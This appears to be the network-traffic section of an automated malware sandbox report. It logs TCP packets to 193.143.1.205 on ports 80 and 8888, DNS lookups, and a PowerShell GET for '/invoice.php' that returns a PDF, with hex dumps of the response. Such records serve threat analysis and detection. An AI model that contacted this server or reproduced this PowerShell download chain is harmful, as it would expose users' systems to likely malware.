Jan 10, 2025 20:47:20.645071983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.645101070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.645122051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.645136118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.645169020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.645189047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.645201921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.645243883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.645253897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647172928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647229910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647233963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.647259951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647305012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.647327900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647363901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647396088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647409916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.647430897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647465944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.647470951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.662241936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.665726900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.683968067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684025049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684035063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684045076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684058905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684055090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684070110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684091091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684129000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684335947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684375048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684454918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684465885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684478045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684489012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684500933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684501886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684514046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684525013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684533119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684545040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684555054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684566021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684577942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684590101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684597969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684604883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684609890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684622049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684633970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684644938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684654951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684664965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684664965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684679985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684691906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684695005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684703112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684710026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684715986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684729099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684751987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684787035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.684988976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.684999943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685010910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685023069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685033083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685034990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685050964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685064077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685075998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685079098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685092926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685102940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685107946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685115099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685120106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685127974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685141087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685152054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685164928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685175896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685182095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685188055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685194969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685204029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685214996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685225010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685226917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685239077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685249090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685251951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685272932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685354948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685368061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685378075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685389996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685396910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685403109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685415030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685422897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685427904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685441017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685446024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685471058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685506105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685518026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685535908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685539007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685548067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685560942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.685573101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685595989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.685991049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686012030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686022043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686033964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686045885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686050892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686064005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686068058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686077118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686088085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686099052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686099052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686114073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686116934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686125994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686137915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686148882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686157942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686161041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686173916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686183929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686184883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686199903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686203003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686208963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686217070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686220884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686234951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686244011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686248064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686264992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686278105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686290026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.686292887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686292887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686326981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.686569929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.722858906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.722893000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.722944021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.722976923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.723006010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.723009109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.723043919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.723068953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.723073959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.723088026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.723416090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.723450899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.723457098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.726021051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.731331110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731343985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731362104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731374979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731385946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731403112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.731430054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.731442928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731452942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731462955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731476068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731484890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.731523037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.731566906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731576920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731597900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731609106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731617928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731621027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.731631994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731642962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731650114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.731659889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731667042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.731669903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.731693983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.734205961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.734216928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.734227896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.734245062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.734260082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.734263897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.734272003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.734285116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.734294891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.734313011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.734332085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.734579086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.770924091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.770987034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771019936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771070957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771094084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.771123886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771128893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.771159887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771194935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771208048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.771229029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771269083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771271944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.771354914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771390915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771395922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.771424055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771457911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771472931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.771493912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771528959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.771532059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.815306902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.899235010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:21.922820091 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:21.927892923 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:21.928014994 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:21.928227901 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:21.933068037 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:22.736994982 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:22.784070015 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:22.957160950 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:47:35.147831917 CET	64400	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:47:48.867902994 CET	61898	53	192.168.2.5	1.1.1.1
Jan 10, 2025 20:48:01.287244081 CET	55602	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:47:35.147831917 CET	192.168.2.5	1.1.1.1	0x86cf	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:47:48.867902994 CET	192.168.2.5	1.1.1.1	0x1224	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:48:01.287244081 CET	192.168.2.5	1.1.1.1	0xba21	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 20:47:35.155070066 CET	1.1.1.1	192.168.2.5	0x86cf	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:47:48.876914978 CET	1.1.1.1	192.168.2.5	0x1224	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:48:01.294488907 CET	1.1.1.1	192.168.2.5	0xba21	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6048	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:47:19.235171080 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:47:20.007791996 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:47:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:47:20.007826090 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:47:20.007878065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 20:47:20.007910967 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 20:47:20.007946014 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 20:47:20.007978916 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 20:47:20.008013964 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
